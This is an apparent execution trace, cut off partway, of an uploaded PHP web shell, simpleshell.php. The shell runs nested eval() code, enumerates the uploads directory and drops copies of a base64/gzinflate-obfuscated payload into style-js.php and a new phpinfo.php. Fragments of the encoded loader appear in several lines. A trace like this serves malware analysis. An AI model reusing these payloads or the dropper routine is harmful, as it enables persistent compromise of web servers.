\'T\' : \'-\'));\r\n\r\nreturn $info;\r\n}'	/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	8	0
5	20	0	0.002990	514216	error_reporting	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	2	1	0
5	20	1	0.003007	514256
5	20	R			22527
5	21	0	0.003022	514216	getcwd	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	57	0
5	21	1	0.003038	514264
5	21	R			'/var/www/html/uploads'
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	57	$path = '/var/www/html/uploads'
5	22	0	0.003067	514264	str_replace	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	59	3	'\\'	'/'	'/var/www/html/uploads'
5	22	1	0.003084	514360
5	22	R			'/var/www/html/uploads'
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	59	$path = '/var/www/html/uploads'
5	23	0	0.003112	514264	explode	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	60	2	'/'	'/var/www/html/uploads'
5	23	1	0.003128	514840
5	23	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	60	$paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	62	$id = 0
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	64	$a = TRUE
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	62	$id = 1
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i = 0
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i++
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i++
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	62	$id = 2
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i = 0
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i++
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i++
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i++
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	62	$id = 3
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i = 0
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i++
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i++
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i++
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i++
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	62	$id = 4
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i = 0
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i++
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i++
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i++
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i++
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i++
5	24	0	0.003404	514768	scandir	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	169	1	'/var/www/html/uploads'
5	24	1	0.003467	515392
5	24	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'simpleshell.php']
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	169	$scandir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'simpleshell.php']
5	25	0	0.003524	515408	is_dir	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	179	1	'/var/www/html/uploads/.'
5	25	1	0.003545	515472
5	25	R			TRUE
5	26	0	0.003560	515440	is_dir	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	179	1	'/var/www/html/uploads/..'
5	26	1	0.003576	515488
5	26	R			TRUE
5	27	0	0.003590	515448	is_dir	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	179	1	'/var/www/html/uploads/.htaccess'
5	27	1	0.003607	515488
5	27	R			FALSE
5	28	0	0.003621	515448	is_dir	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	179	1	'/var/www/html/uploads/data'
5	28	1	0.003637	515488
5	28	R			TRUE
5	29	0	0.003652	515448	is_writable	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	184	1	'/var/www/html/uploads/data'
5	29	1	0.003670	515488
5	29	R			TRUE
5	30	0	0.003685	515448	perms	1		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	186	1	'/var/www/html/uploads/data'
6	31	0	0.003700	515448	fileperms	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	246	1	'/var/www/html/uploads/data'
6	31	1	0.003714	515488
6	31	R			16895
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	246	$perms = 16895
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	262	$info = 'd'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	275	$info .= 'r'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	276	$info .= 'w'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	279	$info .= 'x'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	282	$info .= 'r'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	283	$info .= 'w'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	286	$info .= 'x'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	289	$info .= 'r'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	290	$info .= 'w'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	293	$info .= 'x'
5	30	1	0.003858	515488
5	30	R			'drwxrwxrwx'
5	32	0	0.003873	515448	is_writable	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	187	1	'/var/www/html/uploads/data'
5	32	1	0.003890	515488
5	32	R			TRUE
5	33	0	0.003904	515456	is_dir	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	179	1	'/var/www/html/uploads/prepend.php'
5	33	1	0.003921	515504
5	33	R			FALSE
5	34	0	0.003935	515464	is_dir	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	179	1	'/var/www/html/uploads/simpleshell.php'
5	34	1	0.003951	515504
5	34	R			FALSE
5	35	0	0.003966	515448	is_file	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	206	1	'/var/www/html/uploads/.'
5	35	1	0.003982	515472
5	35	R			FALSE
5	36	0	0.003996	515440	is_file	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	206	1	'/var/www/html/uploads/..'
5	36	1	0.004011	515488
5	36	R			FALSE
5	37	0	0.004024	515448	is_file	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	206	1	'/var/www/html/uploads/.htaccess'
5	37	1	0.004040	515488
5	37	R			TRUE
5	38	0	0.004054	515448	filesize	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	207	1	'/var/www/html/uploads/.htaccess'
5	38	1	0.004068	515488
5	38	R			64
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	207	$size = 0.0625
5	39	0	0.004094	515392	round	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	208	2	0.0625	3
5	39	1	0.004110	515464
5	39	R			0.063
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	208	$size = 0.063
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	212	$size = '0.063 KB'
5	40	0	0.004150	515488	is_writable	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	219	1	'/var/www/html/uploads/.htaccess'
5	40	1	0.004168	515528
5	40	R			FALSE
5	41	0	0.004182	515488	is_readable	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	220	1	'/var/www/html/uploads/.htaccess'
5	41	1	0.004198	515528
5	41	R			TRUE
5	42	0	0.004211	515488	perms	1		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	221	1	'/var/www/html/uploads/.htaccess'
6	43	0	0.004225	515488	fileperms	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	246	1	'/var/www/html/uploads/.htaccess'
6	43	1	0.004240	515528
6	43	R			33188
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	246	$perms = 33188
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	256	$info = '-'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	275	$info .= 'r'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	276	$info .= 'w'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	279	$info .= '-'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	282	$info .= 'r'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	283	$info .= '-'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	286	$info .= '-'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	289	$info .= 'r'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	290	$info .= '-'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	293	$info .= '-'
5	42	1	0.004375	515528
5	42	R			'-rw-r--r--'
5	44	0	0.004389	515488	is_writable	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	222	1	'/var/www/html/uploads/.htaccess'
5	44	1	0.004406	515528
5	44	R			FALSE
5	45	0	0.004420	515488	is_readable	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	222	1	'/var/www/html/uploads/.htaccess'
5	45	1	0.004436	515528
5	45	R			TRUE
5	46	0	0.004450	515488	is_file	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	206	1	'/var/www/html/uploads/data'
5	46	1	0.004470	515528
5	46	R			FALSE
5	47	0	0.004484	515496	is_file	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	206	1	'/var/www/html/uploads/prepend.php'
5	47	1	0.004501	515544
5	47	R			TRUE
5	48	0	0.004514	515504	filesize	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	207	1	'/var/www/html/uploads/prepend.php'
5	48	1	0.004529	515544
5	48	R			57
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	207	$size = 0.0556640625
5	49	0	0.004554	515400	round	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	208	2	0.0556640625	3
5	49	1	0.004569	515472
5	49	R			0.056
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	208	$size = 0.056
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	212	$size = '0.056 KB'
5	50	0	0.004608	515504	is_writable	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	219	1	'/var/www/html/uploads/prepend.php'
5	50	1	0.004626	515544
5	50	R			FALSE
5	51	0	0.004639	515504	is_readable	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	220	1	'/var/www/html/uploads/prepend.php'
5	51	1	0.004656	515544
5	51	R			TRUE
5	52	0	0.004670	515504	perms	1		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	221	1	'/var/www/html/uploads/prepend.php'
6	53	0	0.004684	515504	fileperms	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	246	1	'/var/www/html/uploads/prepend.php'
6	53	1	0.004698	515544
6	53	R			33261
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	246	$perms = 33261
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	256	$info = '-'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	275	$info .= 'r'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	276	$info .= 'w'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	279	$info .= 'x'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	282	$info .= 'r'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	283	$info .= '-'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	286	$info .= 'x'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	289	$info .= 'r'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	290	$info .= '-'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	293	$info .= 'x'
5	52	1	0.004835	515544
5	52	R			'-rwxr-xr-x'
5	54	0	0.004849	515504	is_writable	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	222	1	'/var/www/html/uploads/prepend.php'
5	54	1	0.004866	515544
5	54	R			FALSE
5	55	0	0.004879	515504	is_readable	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	222	1	'/var/www/html/uploads/prepend.php'
5	55	1	0.004896	515544
5	55	R			TRUE
5	56	0	0.004910	515504	is_file	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	206	1	'/var/www/html/uploads/simpleshell.php'
5	56	1	0.004927	515544
5	56	R			TRUE
5	57	0	0.004940	515504	filesize	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	207	1	'/var/www/html/uploads/simpleshell.php'
5	57	1	0.004955	515544
5	57	R			6032
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	207	$size = 5.890625
5	58	0	0.004980	515400	round	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	208	2	5.890625	3
5	58	1	0.004995	515472
5	58	R			5.891
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	208	$size = 5.891
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	212	$size = '5.891 KB'
5	59	0	0.005034	515504	is_writable	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	219	1	'/var/www/html/uploads/simpleshell.php'
5	59	1	0.005051	515544
5	59	R			FALSE
5	60	0	0.005064	515504	is_readable	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	220	1	'/var/www/html/uploads/simpleshell.php'
5	60	1	0.005080	515544
5	60	R			TRUE
5	61	0	0.005093	515504	perms	1		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	221	1	'/var/www/html/uploads/simpleshell.php'
6	62	0	0.005111	515504	fileperms	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	246	1	'/var/www/html/uploads/simpleshell.php'
6	62	1	0.005125	515544
6	62	R			33204
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	246	$perms = 33204
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	256	$info = '-'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	275	$info .= 'r'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	276	$info .= 'w'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	279	$info .= '-'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	282	$info .= 'r'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	283	$info .= 'w'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	286	$info .= '-'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	289	$info .= 'r'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	290	$info .= '-'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	293	$info .= '-'
5	61	1	0.005260	515544
5	61	R			'-rw-rw-r--'
5	63	0	0.005274	515504	is_writable	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	222	1	'/var/www/html/uploads/simpleshell.php'
5	63	1	0.005291	515544
5	63	R			FALSE
5	64	0	0.005305	515504	is_readable	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	222	1	'/var/www/html/uploads/simpleshell.php'
5	64	1	0.005321	515544
5	64	R			TRUE
4	19	1	0.005345	515552
4	65	0	0.005358	473728	session_start	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	9	0
4	65	1	0.005379	473728
4	65	R			FALSE
4	66	0	0.005393	473728	error_reporting	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	10	1	0
4	66	1	0.005408	473768
4	66	R			0
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	12	$a = '<?php \r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAOIaSFU'
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	30	$doc = '/var/www/html'
4	67	0	0.005464	473728	scandir	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	31	1	'/var/www/html'
4	67	1	0.005494	474232
4	67	R			[0 => '.', 1 => '..', 2 => 'uploads']
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	31	$dir = [0 => '.', 1 => '..', 2 => 'uploads']
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	32	$d1 = '/var/www/html/.'
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	33	$d2 = '/var/www/html/..'
4	68	0	0.005551	474288	array_search	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	34	2	'.'	[0 => '.', 1 => '..', 2 => 'uploads']
4	68	1	0.005570	474360
4	68	R			0
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	34	$key = 0
4	69	0	0.005596	474256	array_search	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	37	2	'..'	[1 => '..', 2 => 'uploads']
4	69	1	0.005613	474328
4	69	R			1
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	37	$key = 1
4	70	0	0.005638	474224	array_search	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	40	2	'/var/www/html/.'	[2 => 'uploads']
4	70	1	0.005654	474296
4	70	R			FALSE
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	40	$key = FALSE
4	71	0	0.005679	474224	array_search	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	43	2	'/var/www/html/..'	[2 => 'uploads']
4	71	1	0.005695	474296
4	71	R			FALSE
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	43	$key = FALSE
4	72	0	0.005720	474248	array_push	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	46	2	[2 => 'uploads']	'/var/www/html'
4	72	1	0.005740	474312
4	72	R			2
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	48	$p = '/var/www/html/uploads'
4	73	0	0.005766	474296	is_dir	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	49	1	'/var/www/html/uploads'
4	73	1	0.005782	474320
4	73	R			TRUE
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	50	$file = '/var/www/html/uploads/style-js.php'
4	74	0	0.005808	474344	touch	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	51	1	'/var/www/html/uploads/style-js.php'
4	74	1	0.005854	474384
4	74	R			TRUE
4	75	0	0.005869	474344	fopen	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	52	2	'/var/www/html/uploads/style-js.php'	'w'
4	75	1	0.005905	475008
4	75	R			resource(6) of type (stream)
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	52	$folder = resource(6) of type (stream)
4	76	0	0.005936	474936	fwrite	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	53	2	resource(6) of type (stream)	'<?php \r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAOIaSFU'
4	76	1	0.005973	475000
4	76	R			893
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	48	$p = '/var/www/html//var/www/html'
4	77	0	0.006008	474944	is_dir	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	49	1	'/var/www/html//var/www/html'
4	77	1	0.006031	474984
4	77	R			FALSE
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	60	$ikrhtfy = '/var/www/html/phpinfo.php'
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	63	$fghky_ouvcbt = '<?php phpinfo();\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQ'
4	78	0	0.006086	475000	file_exists	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	74	1	'/var/www/html/phpinfo.php'
4	78	1	0.006106	475040
4	78	R			FALSE
4	79	0	0.006120	475000	touch	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	76	1	'/var/www/html/phpinfo.php'
4	79	1	0.006152	475040
4	79	R			TRUE
4	80	0	0.006167	475000	chmod	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	77	2	'/var/www/html/phpinfo.php'	438
4	80	1	0.006186	475072
4	80	R			TRUE
4	81	0	0.006200	475000	fopen	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	81	2	'/var/www/html/phpinfo.php'	'w'
4	81	1	0.006229	475544
4	81	R			resource(7) of type (stream)
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	81	$opazxcdnm = resource(7) of type (stream)
